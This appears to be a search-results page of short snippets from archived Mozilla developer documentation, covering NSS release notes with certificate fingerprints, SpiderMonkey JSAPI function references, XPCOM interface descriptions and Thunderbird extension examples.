... notable changes in nss 3.28.1 the following ca certificates were removed cn = buypass class 2 ca 1 sha-256 fingerprint: 0f:4e:9c:dd:26:4b:02:55:50:d1:70:80:63:40:21:4f:e9:44:34:c9:b0:2f:69:7e:c7:10:fc:5f:ea:fb:5e:38 cn = root ca generalitat valenciana sha-256 fingerprint: 8c:4e:df:d0:43:48:f3:22:96:9e:7e:29:a4:cd:4d:ca:00:46:55:06:1c:16:e1:b0:76:42:2e:f3:42:ad:63:0e ou = rsa security 2048 v3 sha-256 fingerprint: af:8b:67:62:a1:e5:28:22:81:61:a9:5d:5c:55:9e:e2:66:27:8f:75:d7:9e:83:01:89:a5:03:50:6a:bd:6b:4c the following ca certificates were added ou = ac raiz fnmt-rcm sha-256 fingerprint: eb:c5:57:0c:29:01:8c:4d:67:b1:aa:12:7b:af:12:f7:03:b4:61:1e:bc:17:b7:da:b5:57:38:94:17:9b:93:fa c...
...n = amazon root ca 1 sha-256 fingerprint: 8e:cd:e6:88:4f:3d:87:b1:12:5b:a3:1a:c3:fc:b1:3d:70:16:de:7f:57:cc:90:4f:e1:cb:97:c6:ae:98:19:6e cn = amazon root ca 2 sha-256 fingerprint: 1b:a5:b2:aa:8c:65:40:1a:82:96:01:18:f8:0b:ec:4f:62:30:4d:83:ce:c4:71:3a:19:c3:9c:01:1e:a4:6d:b4 cn = amazon root ca 3 sha-256 fingerprint: 18:ce:6c:fe:7b:f1:4e:60:b2:e3:47:b8:df:e8:68:cb:31:d0:2e:bb:3a:da:27:15:69:f5:03:43:b4:6d:b3:a4 cn = amazon root ca 4 sha-256 fingerprint: e3:5d:28:41:9e:d0:20:25:cf:a6:90:38:cd:62:39:62:45:8d:a5:c6:95:fb:de:a3:c2:2b:0b:fb:25:89:70:92 cn = luxtrust global root 2 sha-256 fingerprint: 54:45:5f:71:29:c2:0b:14:47:c4:18:f9:97:16:8f:24:c5:8f:c5:02:3b:f5:da:5b:e2:eb:6e:1d:d8:90:2e:d5 ...
...And 4 more matches
NSS 3.28.3 release notes
nss 3.28.3 requires netscape portable runtime (nspr) 4.13.1 or newer.
...that size increase caused crashes or malfunctioning with applications that use that data structure directly, or indirectly through ecpublickey, ecprivatekey, nsslowkeypublickey, nsslowkeyprivatekey, or potentially other data structures that reference ecparams.
...if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized attribute.
...And 4 more matches
NSS 3.33 release notes
nss 3.33 requires netscape portable runtime (nspr) 4.17, or newer.
...api calls that attempt to enable compression are accepted without failure.
... fixes cve-2017-7805, a potential use-after-free in tls 1.2 server, when verifying client authentication.
...And 4 more matches
NSS 3.34.1 release notes
nss 3.34.1 requires netscape portable runtime (nspr) 4.17, or newer.
... nss 3.34.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_34_1_rtm/src/ notable changes in nss 3.34.1 the following ca certificate was re-added.
...(bug 1418678) cn = certum ca, o=unizeto sp.
...And 4 more matches
NSS 3.46 release notes
new in nss 3.46 this release contains no significant new functionality, but concentrates on providing improved performance, stability, and security.
... of particular note are significant improvements to aes-gcm performance on arm.
... notable changes in nss 3.46 certificate authority changes the following ca certificates were removed: bug 1574670 - remove expired class 2 primary root certificate sha-256 fingerprint: 0f993c8aef97baaf5687140ed59ad1821bb4afacf0aa9a58b5d57a338a3afbcb bug 1574670 - remove expired utn-userfirst-client root certificate sha-256 fingerprint: 43f257412d440d627476974f877da8f1fc2444565a367ae60eddc27a412531ae bug 1574670 - remove expired deutsche telekom root ca 2 root certificate sha-256 fingerprint: b6191a50d0c3977f7da99bcdaac86a227daeb9679ec70ba3b0c9d92271c170d3 bug 1566569 - remove swisscom root ca 2 root certificate sha-256 fingerprint: f09b122c7114f4a09bd4ea4f4a99d558b46e4c25cd81140d29c05613914c3841 ...
...And 4 more matches
NSS 3.48 release notes
because using an iteration count higher than 1 with the legacy dbm (key3.db) storage creates files that are incompatible with previous versions of nss, applications that wish to enable it for key3.db are required to set environment variable nss_allow_legacy_dbm_iteration_count=1.
... applications may set environment variable nss_min_mp_pbe_iteration_count to request a higher iteration count than the library's default, or nss_max_mp_pbe_iteration_count to request a lower iteration count for test environments.
... certificate authority changes the following ca certificates were added: bug 1591178 - entrust root certification authority - g4 cert sha-256 fingerprint: db3517d1f6732a2d5ab97c533ec70779ee3270a62fb4ac4238372460e6f01e88 upcoming changes in nss 3.49 the legacy dbm database, libnssdbm, will no longer be built by default.
...And 4 more matches
NSS Sample Code sample6
the symmetric keys can then be used * without ever exposing them in the clear.
... * (enter "test" when prompted for password) */ #include "nss.h" #include "pk11pub.h" /* the key id can be any sequence of bytes.
... this example happens to use an * integer */ void genkey(int id); /* this callback is responsible for returning the password to the nss * key database.
...And 4 more matches
PKCS11 module installation
pkcs #11 modules are external modules which add to firefox support for smartcard readers, biometric security devices, and external certificate stores.
...users can use the preferences dialog to install or remove pkcs #11 module.
... extensions can programmatically manage pkcs #11 modules using the nsipkcs11 programming interface.
...And 4 more matches
sslkey.html
upgraded documentation may be found in the current nss reference key functions chapter 6 key functions this chapter describes two functions used to manipulate private keys and key databases such as the key3.db database provided with communicator.
... description nss_init opens the certificate, key, and security module databases that you specify for use with nss.
... description certificate and key structures are shared objects.
...And 4 more matches
S/MIME functions
the nss version column indicates which versions of nss support the function.
... function name/documentation source code nss versions nss_cmscontentinfo_getbulkkey mxr 3.2 and later nss_cmscontentinfo_getbulkkeysize mxr 3.2 and later nss_cmscontentinfo_getcontent mxr 3.2 and later nss_cmscontentinfo_getcontentencalgtag mxr 3.2 and later nss_cmscontentinfo_getcontenttypetag mxr 3.2 and later nss_cmscontentinfo_setbulkkey mxr 3.2 and later nss_cmscontentinfo_setcontent mxr 3.2 and later nss_cmscontentinfo_setcontent_data mxr 3.2 and later nss_cmscontentinfo_setcontentencalg mxr 3.2 and later ...
... nss_cmscontentinfo_setcontent_digesteddata mxr 3.2 and later nss_cmscontentinfo_setcontent_encrypteddata mxr 3.2 and later nss_cmscontentinfo_setcontent_envelopeddata mxr 3.2 and later nss_cmscontentinfo_setcontent_signeddata mxr 3.2 and later nss_cmsdecoder_cancel mxr 3.2 and later nss_cmsdecoder_finish mxr 3.2 and later nss_cmsdecoder_start mxr 3.2 and later nss_cmsdecoder_update mxr 3.2 and later nss_cmsdigestcontext_cancel mxr 3.2 and later nss_cmsdigestcontext_finishmultiple mxr 3.2 and later nss_cmsd...
...And 4 more matches
Rhino serialization
however, serialization of code in compilation mode has some significant limitations.
...they're intended mainly as examples of the use of serialization: $ java org.mozilla.javascript.tools.shell.main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.javascript.tools.shell.main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> here we see a simple case of a function being serialized to a file and then read into a new instance of rhino and called.
...writing an object to a file can be done in a few lines of java code: fileoutputstream fos = new fileoutputstream(filename); scriptableoutputstream out = new scriptableoutputstream(fos, scope); out.writeobject(obj); out.close(); here filename is the file to write to, obj is the object or function to write, and scope is the top-level scope containing obj.
...And 4 more matches
Shumway
it is currently available as an extension and as a component in firefox's nightly builds that can be enabled through about:config (you need to find the shumway.disabled preference and set it to false).
...users who disable flash because of security or performance concerns can still see content through shumway because it cannot be forced to behave worse than javascript (and webgl, etc.) allows.
... testing and what to do in case of trouble the first step is to directly test your flash content.
...And 4 more matches
Rebranding SpiderMonkey (1.8.5)
in the unix world we would issue the following command: find ./ -type f -exec sed -i "s/mozjs185/$brand/" {} \; windows users: notepad++ can be used to perform the recursive find and replace text operation.
... if you have failed to insert your brand name in any of the previous steps where it is called for, you must delete this build directory and restart this process from the beginning.
... this time paying careful attention to the commands you issue to your command shell.
...And 4 more matches
JS::Construct
this article covers features introduced in spidermonkey 38 call a specified js constructor.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... fun js::handlevalue pointer to the function to call.
...And 4 more matches
JSGetObjectOps
jsgetobjectops is the type for jsclass.getobjectops callback syntax typedef jsobjectops * (* jsgetobjectops)(jscontext *cx, jsclass *clasp); name type description cx jscontext * the js context in which the new object is being created.
...in contrast, all native and host objects have a jsobjectmap at obj->map, which may be shared among a number of objects, and which contains the jsobjectops *ops pointer used to dispatch object operations from api calls.
... thus jsclass (which pre-dates jsobjectops in the api) provides a low-level interface to class-specific code and data, while jsobjectops allows for a higher level of operation, which does not use the object's class except to find the class's jsobjectops struct, by calling clasp->getobjectops, and to finalize the object.
...And 4 more matches
JS_AddArgumentFormatter
(at the moment, js_addargumentformatter fails only if there is no memory available to record the registration.) js_addargumentformatter does not copy format, it points at the string storage allocated by the caller, which is typically a string constant.
... if format is in dynamic storage, the caller must keep the string alive until js_removeargumentformatter is called.
...callback syntax jsbool (*jsargumentformatter)(jscontext *cx, const char *format, jsbool fromjs, jsval **vpp, va_list *app); name type description cx jscontext * the context in which the conversion is being performed.
...And 4 more matches
JS_AlreadyHasOwnProperty
this article covers features introduced in spidermonkey 1.8 determine whether a property is already physically present on a jsobject.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (in js_alreadyhasownucproperty only) the length of name, in characters; or the special value (size_t) -1 to indicate that name is null-terminated.
...And 4 more matches
JS_ClearContextThread
description an application that creates or uses a jscontext in one thread, then uses or destroys it in another thread, must use js_clearcontextthread and js_setcontextthread to transfer the jscontext safely from one thread to the other.
... before transferring a jscontext from thread a to thread b, thread a must call js_clearcontextthread.
... before thread b uses the jscontext, it must call js_setcontextthread.
...And 4 more matches
JS_DeleteProperty2
in a js_threadsafe build, the caller must be in a request on this jscontext.
... namelen size_t (only in js_deleteucproperty2) the length of name in characters; or -1 to indicate that name is null-terminated.
...on success, *succeeded receives false if the property was not deleted because it is permanent and true otherwise.
...And 4 more matches
JS_FS
syntax #define js_fs(name,call,nargs,flags) ...
... #define js_fn(name,call,nargs,flags) ...
... #define js_sym_fn(symbol,call,nargs,flags) ...
...And 4 more matches
JS_InstanceOf
syntax bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, js::callargs *args); // added in spidermonkey 38 bool js_instanceof(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, jsval *argv); // obsolete since jsapi 32 name type description cx jscontext * pointer to a js context from which to derive runtime information.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... args js::callargs * optional pointer to arguments.
...And 4 more matches
JS_IsConstructing
determine whether the currently executing jsnative was called as a constructor.
...use callargs::isconstructing or callreceiver::isconstructing instead.
... description js_isconstructing must be called only from a jsnative called from the engine.
...And 4 more matches
JS_NewDouble
allocates a copy of jsdouble on the gc heap.
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_newdouble allocates a copy of the number d on the javascript garbage collection heap.
...And 4 more matches
JS_NewFunction
syntax // added in spidermonkey 45 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, const char *name); // obsolete since jsapi 44 jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsid> id); // obsolete since jsapi 39 jsfunction * js_newfunction(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, const char *name); jsfunction * js_newfunctionbyid(jscontext *cx, jsnative call, unsigned nargs, unsigned flags, js::handle<jsobject*> parent, js::handle<jsid> id); // added in spidermonkey 17 name ...
...in a js_threadsafe build, the caller must be in a request on this jscontext.
... call jsnative native c/c++ implementation of this function.
...And 4 more matches
JS_ReportOutOfMemory
reports a memory allocation error.
... syntax void js_reportoutofmemory(jscontext *cx); void js_reportallocationoverflow(jscontext *cx); // added in spidermonkey 1.8 name type description cx jscontext * the context in which to report the error.
... description call js_reportoutofmemory to report that an operation failed because the system is out of memory.
...And 4 more matches
JS_SET_TRACING_DETAILS
printer jstracenameprinter a callback function, described below; or null.
... callback syntax typedef void (*jstracenameprinter)(jstracer *trc, char *buf, size_t bufsize); name type description trc jstracer * the tracer.
...the callback stores a string describing the reference traced in buf.
...And 4 more matches
JS_SetGCZeal
this article covers features introduced in spidermonkey 1.8 enable gc zeal, a testing and debugging feature that helps find gc-related bugs in jsapi applications.
... frequency uint32_t with some zeal levels, a gc is triggered every frequency allocations.
... 2 collect when every frequency allocations.
...And 4 more matches
JS_SetObjectPrincipalsFinder
set the runtime-wide object-principals-finder callback.
... this function is deprecated.
... in spidermonkey 1.8.1 or later, use js_setruntimesecuritycallbacks instead.
...And 4 more matches
JS_SetPropertyAttributes
in a js_threadsafe build, the caller must be in a request on this jscontext.
...flag indicating whether or not the specified property was located.
... jsprop_permanent property cannot be deleted.
...And 4 more matches
JS_ShutDown
syntax void js_shutdown(void); description destroys all free-standing resources allocated by spidermonkey, not associated with any jsruntime, jscontext, or other structure.
... this method should be called after all other jsapi data has been properly cleaned up: every jsruntime created with js_newruntime must have been destroyed with js_destroyruntime, every jscontext created with js_newcontext must have been destroyed with js_destroycontext, and so on.
... calling this method before all other resources have been destroyed has undefined behavior.
...And 4 more matches
JS_TracerInit
syntax void js_tracerinit(jstracer *trc, jsruntime *rt, jstracecallback callback); name type description trc jstracer * the tracer to be initialized.
... callback jstracecallback a callback, described below, which the tracing apis will call each time a pointer is found from one gc thing to another.
... callback syntax typedef void (*jstracecallback)(jstracer *trc, void *thing, uint32 kind); name type description trc jstracer * the tracer visiting obj.
...And 4 more matches
JS_ValueToNumber
in a js_threadsafe build, the caller must be in a request on this jscontext.
...js_valuetonumber always succeeds in this case, returning js_true.
...js_valuetonumber carries out the following steps to convert it to a number.
...And 4 more matches
Feed content access API
nsifeedresultlistener implemented by the program that wants to parse an rss or atom feed to receive notification when parsing is complete.
... nsiscriptableunescapehtml a utility class that unescapes html strings.
...ervice.newuri(feedurl, null, null); if (data.length) { var parser = components.classes["@mozilla.org/feed-processor;1"] .createinstance(components.interfaces.nsifeedprocessor); var listener = new feedtestresultlistener(); try { parser.listener = listener; parser.parsefromstring(data, uri); } catch(e) { alert("error parsing feed."); } } } httprequest = new xmlhttprequest(); httprequest.open("get", feedurl, true); try { httprequest.onload = inforeceived; httprequest.send(null); } catch(e) { alert(e); } } the nsifeedprocessor interface lets you parse the feed data from several possible sources; in this case, we're l...
...And 4 more matches
Components.classes
each object represents one of the classes of xpcom components that can be constructed or accessed as an xpcom service.
... the properties of the components.classes object can be enumerated using a for...in loop.
... usage in order to retrieve the object for a given contractid, you can query the components.classes array as follows: var clazz0 = components.classes["@mozilla.org/messenger;1"]; clazz0 is the class object for the contractid @mozilla.org/messenger;1, which is not usually used by itself, but whose createinstance and getservice methods can be used to create a new instance of the component or to access the singleton instance, if the contract id represents a service.
...And 4 more matches
nsDependentSubstring external
d beginreading endreading charat operator[] first beginwriting endwriting setlength length isempty setisvoid isvoid assign assignliteral operator= replace append appendliteral operator+= insert cut truncate stripchars stripwhitespace trim defaultcomparator compare(const prunichar*, print32 (*) compare(const nsastring&, print32 (*) equals(const prunichar*, print32 (*) equals(const nsastring&, print32 (*) operator< operator<= operator== operator>= operator> operator!= ...
... equalsliteral lowercaseequalsliteral find(const nsastring&, print32 (*) find(const nsastring&, pruint32, print32 (*) find rfind(const nsastring&, print32 (*) rfind(const nsastring&, print32, print32 (*) rfind findchar rfindchar appendint tointeger base classes nsstringcontainer data members no public members.
..., pruint32) - source parameters prunichar data pruint32 pos pruint32 length void insert(const nsastring&, pruint32) - source parameters nsastring readable pruint32 pos cut void cut(pruint32, pruint32) - source parameters pruint32 cutstart pruint32 cutlength truncate void truncate() - source stripchars void stripchars(const char*) - source remove all occurrences of characters in aset from the string.
...And 4 more matches
RefPtr
this is done using the functions addref() and release(), which respectively modify a variable of type nsautorefcnt, which basically is a wrapper around a count of the number of references refering to the class.
...supports> a; nscomptr<nsifoo> foo; and for concrete classes: refptr<nsfoo> foo; // class that implements nsifoo; refptr<bar> bar; // some random class that i want ref-counted but has nothing to do with xpcom: // just implement addref() and release() and it will work with refptr it is important that nscomptr is not used to hold a pointer to a concrete class since this can cause compile time errors or runtime errors.
...there are no technical problems with doing so, and in some cases it may be necessary (see bug 756640 comment 1).
...And 4 more matches
IAccessibleEditableText
other-licenses/ia2/accessibleeditabletext.idlnot scriptable this interface provides clipboard capability to text objects.
... 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) this interface is typically used in conjunction with the iaccessibletext interface and complements that interface with the additional capability of clipboard operations.
... note that even a read only text object can support the copy capability so this interface is not limited to editable objects.
...And 4 more matches
nsIDOMElement
inherits from: nsidomnode last changed in gecko 1.7 method overview domstring getattribute(in domstring name); nsidomattr getattributenode(in domstring name); nsidomattr getattributenodens(in domstring namespaceuri, in domstring localname); domstring getattributens(in domstring namespaceuri, in domstring localname); nsidomnodelist getelementsbytagname(in domstring name); nsidomnodelist getelementsbytagnamens(in domstring namespaceuri, in domstring localname); boolean hasattribute(in domstring name); boolean hasattributens(in domstring namespaceuri, in domstring localname); void removeattribute(in domstring name) nsidomattr removeattributenode(i...
...n nsidomattr oldattr) void removeattributens(in domstring namespaceuri, in domstring localname) void setattribute(in domstring name, in domstring value) nsidomattr setattributenode(in nsidomattr newattr) nsidomattr setattributenodens(in nsidomattr newattr) void setattributens(in domstring namespaceuri, in domstring qualifiedname, in domstring value) attributes attribute type description tagname domstring the element tag name.
...nsidomattr getattributenodens( in domstring namespaceuri, in domstring localname ); parameters namespaceuri namespace uri localname attribute name return value a nsidomattr corresponding to the attribute.
...And 4 more matches
nsIDOMProgressEvent
1.0 66 introduced gecko 1.9.1 deprecated gecko 22 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomprogressevent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download.
... this implementation is a placeholder until the specification is complete, and is compatible with the webkit progressevent.
... method overview void initprogressevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcomputablearg, in unsigned long long loadedarg, in unsigned long long totalarg); deprecated since gecko 22.0 attributes attribute type description lengthcomputable boolean specifies whether or not the total size of the transfer is known.
...And 4 more matches
nsIDOMStorageEventObsolete
dom/interfaces/storage/nsidomstorageeventobsolete.idlscriptable this interface represents an event that occurs to notify interested parties about changes to the contents of a dom storage space; it is used for both session storage and local storage.
... 1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsidomevent last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed.
... method overview void initstorageevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in domstring keyarg, in domstring oldvaluearg, in domstring newvaluearg, in domstring urlarg, in nsidomstorage storageareaarg); attributes attribute type description domain domstring the domain of the storage area which changed, or "#session" if the event represents a change to session storage.
...And 4 more matches
nsIDOMStorageManager
dom/interfaces/storage/nsidomstoragemanager.idlscriptable this interface provides methods for managing data stored in the offline apps cache.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by @mozilla.org/dom/storagemanager;1 as a service: var domstoragemanager = components.classes["@mozilla.org/dom/storagemanager;1"] .getservice(components.interfaces.nsidomstoragemanager); method overview void clearofflineapps(); nsidomstorage getlocalstorageforprincipal(in nsiprincipal aprincipal, in domstring adocumenturi); long getusage(in astring aownerdomain); methods clearofflineapps() clears keys owned by offline applications.
...getlocalstorageforprincipal() returns the instance of the localstorage object for auri's origin.
...And 4 more matches
nsIDragSession
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void getdata( in nsitransferable atransferable, in unsigned long aitemindex ); boolean isdataflavorsupported( in string adataflavor ); attributes attribute type description candrop boolean set the current state of the drag, whether it can be dropped or not.
... usually the target "frame" sets this so the native system can render the correct feedback.
... onlychromedrop boolean indicates if the drop event should be dispatched only to chrome.
...And 4 more matches
nsIDroppedLinkHandler
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean candroplink(in nsidomdragevent aevent, in prbool aallowsamedocument); astring droplink(in nsidomdragevent aevent, out astring aname, [optional] in boolean adisallowinherit); void droplinks(in nsidomdragevent aevent, [optional] in boolean adisallowinherit, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsidroppedlinkitem alinks); methods candroplink() determines if a link being dragged can be dropped.
... boolean candroplink( in nsidomdragevent aevent, in prbool aallowsamedocument ); parameters aevent a dragenter or dragover event.
... return value true if the link being dragged can be dropped.
...And 4 more matches
nsIINIParserWriter
.getservice(components.interfaces.nsiiniparserfactory) .createiniparser(somelocalfile) .queryinterface(components.interfaces.nsiiniparserwriter); here, somelocalfile is an nsifile based object, such as an nsilocalfile.
... this indicates the file into which the ini data will be written.
... once the writer object is created, you can use the setstring() method to set the value of a property within a given section; the section is created if it hasn't been yet.
...And 4 more matches
nsILoginManagerPrompter
to call this service, use: var loginmanagerprompter = components.classes["@mozilla.org/login-manager/prompter;1"] .getservice(components.interfaces.nsiloginmanagerprompter); method overview void init(in nsidomwindow awindow); void prompttochangepassword(in nsilogininfo aoldlogin, in nsilogininfo anewlogin); void prompttochangepasswordwithusernames([array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo anewlogin); ...
...must be called before using other interfaces.
...the prompt will be associated with this window (or, if a notification bar is being used, topmost opener in some cases).
...And 4 more matches
nsIMIMEInputStream
sses["@mozilla.org/network/mime-input-stream;1"] .createinstance(components.interfaces.nsimimeinputstream); method overview void addheader(in string name, in string value); void setdata(in nsiinputstream stream); attributes attribute type description addcontentlength boolean when true a "content-length" header is automatically added to the stream.
... the value of the content-length is automatically calculated using the available() method on the data stream.
... the value is recalculated every time the stream is rewound to the start.
...And 4 more matches
Building an Account Manager Extension
we name the extension "devmo-account" and state that it is located in the chrome package "example@mozilla.org".
...textual unique identifier or rendez-vous point in the category manager.
... devmoaccountmanagerextension.prototype.contractid = "@mozilla.org/accountmanager/extension;1?name=example@mozilla.org"; // add the component to the mailnews-accountmanager-extensions category devmoaccountmanagerextension.prototype._xpcom_categories: [{ category: "mailnews-accountmanager-extensions" }], // create entry point for the module if (xpcomutils.generatensgetfactory) var nsgetfactory = xpcomutils.generatensgetfactory([devmoaccountmanagerextension]); else var nsgetmodule = xpcomutils.generatensgetmodule([devmoaccountmanagerextension]); step3: create the new panel as next step we create the xul and the property file for your new panel.
...And 4 more matches
nsINavHistoryQueryOptions
this is designed for cases where you want to give the user the option of filing something into a list of folders.
... it only affects cases where the actual folder result node would appear in its parent folder and filters it out.
...this is because sorting by title requires us to sort after using locale-sensetive sorting (as opposed to letting the database do it for us).
...And 4 more matches
nsIPrefService
inherits from: nsisupports last changed in gecko 1.7 method overview nsiprefbranch getbranch(in string aprefroot); nsiprefbranch getdefaultbranch(in string aprefroot); void readuserprefs(in nsifile afile); void resetprefs(); void resetuserprefs(); void savepreffile(in nsifile afile); methods getbranch() call to get a preferences "branch" which accesses user preference data.
... getdefaultbranch() call to get a preferences branch which accesses only the default preference data.
...many of the branch methods do nothing on a default branch because the operations only make sense when applied to user set preferences.
...And 4 more matches
nsIProcess
location nsifile the location of the executable file on disk.
...once initialized, you can start the process executing by calling run().
... note: this function does not work with application bundles on mac os x, see bug 307463 for details.
...And 4 more matches
nsIProfile
66 introduced gecko 0.9 deprecated gecko 1.8.1 obsolete gecko 20.0 inherits from: nsisupports last changed in gecko 1.6 implemented by: @mozilla.org/profile/manager;1.
...method overview void cloneprofile(in wstring profilename); void createnewprofile(in wstring profilename, in wstring nativeprofiledir, in wstring langcode, in boolean useexistingdir); void deleteprofile(in wstring name, in boolean candeletefiles); void getprofilelist(out unsigned long length, [retval, array, size_is(length)] out wstring profilenames); boolean profileexists(in wstring profilename); void renameprofile(in wstring oldname, in wstring newname); void shutdowncurrentprofile(in unsigned long shutdowntype); attributes attribute type description currentp...
... shutdown_cleanse 0x00000002 when shutting down the profile, discard changes.
...And 4 more matches
nsISearchEngine
iconuri nsiuri a nsiuri corresponding to the engine's icon, stored locally.
...this should only be called on engines created via nsibrowsersearchservice.addenginewithdetails().
... responsetype since an engine can have several different request urls, differentiated by response types, this parameter selects a request to add parameters to.
...And 4 more matches
nsISimpleEnumerator
inherits from: nsisupports last changed in gecko 0.9.6 method overview nsisupports getnext(); boolean hasmoreelements(); methods getnext() called to retrieve the next element in the enumerator.
... the "next" element is the first element upon the first call.
... must be preceded by a call to hasmoreelements() which returns pr_true.
...And 4 more matches
nsIStringBundle
alternatively, a string bundle can be created within a javascript context with nsistringbundleservice.
...atstringfromname(in wstring aname, [array, size_is(length)] in wstring params, in unsigned long length); nsisimpleenumerator getsimpleenumeration(); wstring getstringfromid(in long aid); wstring getstringfromname(in wstring aname); methods formatstringfromid() returns a formatted string with the given id from the string bundle, where each occurrence of %s (uppercase) is replaced by each successive element in the supplied array.
...you can only pass unicode strings in.
...And 4 more matches
nsITraceableChannel
1.0 66 introduced gecko 1.9.0.4 inherits from: nsisupports last changed in gecko 1.9.0.4 the typical way to use this interface is as follows: register for the "http-on-examine-response" notification to track all http responses; skip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g.
...each listener call through to the previous listener for every call, in order to establish a call chain to allow all interested parties a chance to act on each event.
... implementing nsistreamlistener the nsistreamlistener passed to setnewlistener() should implement the following methods, which are called to notify it of events that occur on the http stream: onstartrequest: an http request is beginning.
...And 4 more matches
nsITreeSelection
note: this property indicates only the index of the row with tree cursor around it.
... selecteventssuppressed boolean this attribute is a boolean indicating whether or not the "select" event should fire when the selection is changed using one of our methods.
... a view can use this to temporarily suppress the selection while manipulating all of the indices, for example, on a sort.
...And 4 more matches
nsIURIFixup
docshell/base/nsiurifixup.idlscriptable interface implemented by objects capable of fixing up strings into uris.
... methods createexposableuri() converts an internal uri (for example a wysiwyg uri) into one which we can expose to the user, for example on the url bar.
... exceptions thrown ns_error_unknown_protocol when we can not get a protocol handler service for the uri scheme.
...And 4 more matches
nsIUTF8ConverterService
set this to pr_true only if you suspect that astring can be mistaken for ascii / utf-8 but is actually not in ascii / utf-8 so that astring has to go through the conversion.
...the most common case is the input is in 7bit non-ascii character sets like iso-2022-jp, hz or utf-7 (in its original form or a modified form used in imap folder names).
...exceptions thrown ns_error_uconv_noconv when there is no decoder for acharset or error code of nsiunicodedecoder in case of conversion failure.
...And 4 more matches
nsIUTF8StringEnumerator
xpcom/ds/nsistringenumerator.idlscriptable an object can implement this interface to allow a client to iterate over a set of strings provided by the object.
...the "next" element is the first string upon the first call.
... must be preceded by a call to hasmore(), which returns pr_true.
...And 4 more matches
nsIUpdateTimerManager
toolkit/mozapps/update/nsiupdatetimermanager.idlscriptable this interface provides a global application service that provides support for long-duration timers (on the order of many days, weeks, or even months).
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void registertimer(in astring id, in nsitimercallback callback, in unsigned long interval); methods registertimer() presents a user interface that checks for and displays the available updates.
... void registertimer( in astring id, in nsitimercallback callback, in unsigned long interval ); parameters id an id used to identify the timer interval; used for persistence.
...And 4 more matches
nsIXMLHttpRequest
this page contains documentation, specific to mozilla application and add-on developers.
...when using the xpcom interface, as seen below in example 2, we can get access to this.
... the most obvious benefit is that we can set nsirequest - constants in the xhr.channel.loadflags.
...And 4 more matches
NS_CStringContainerInit2
pass pr_uint32_max to indicate that adata's length may be determined by scanning the string for a terminating null.
...the caller must ensure that the data is valid for the lifetime of the string container.
...the caller must have allocated the data array using the xpcom memory allocator.
...And 4 more matches
Filelink Providers
also, you must add the component's contract id to the "cloud-file" category.
... a provider implementation can choose what information it gets from the user from the setup dialog by pointing the settingsurl attribute of their nsimsgcloudfileprovider implementation to a chrome url for an xhtml page that contains a form with the extra information.
... note: the setup dialog window should resize itself automatically in order to fit the content of the iframe without scrollbars.
...And 4 more matches
Gloda examples
a) show all messages in a conversation regardless of the folder in which they are stored, b) search messages by subject assuming that you have a message (glodamessage) in the conversation already, this is straight forward using glodamessage.conversation.getmessagescollection() alistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremo...
...ved: function _onitemsremoved(aitems, acollection) { }, /* called when our database query completes */ onquerycompleted: function _onquerycompleted(conversation_coll) { try { for (var conv in conversation_coll) { //do something with the conversation here alert(conv.subject); } } catch (e) {} } } glodamessage.conversation.getmessagescollection(alistener) alternatively if you need to get a conversation based on the subject, you need to do a query (using the same listener as above).
...(gloda.noun_message); let tagarray = mailservices.tags.getalltags({}); query.tags(...tagarray); let collection = query.getcollection(mylistener); search messages by daterange searches for all messages within a date range id_q=gloda.newquery(gloda.noun_message); // define a date range form yesterday to now id_q.daterange([new date() - 86400000, new date()]); var mylistener = { /* called when new items are returned by the database query or freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged from the system */ onitemsremo...
...And 4 more matches
MailNews Filters
for new incoming messages, the protocol specific object that handles new messages calls nsimsgfilterlist::applyfilterstohdr and passes itself in as nsimsgfilterhitnotify interface to handle filter hits.
...applyfilterstohdr will in turn call the applyfilterhit method of the passed in nsimsgfilterhitnotify interface ptr.
...in the case of pop3, filter execution is synchronous.
...And 4 more matches
Main Windows
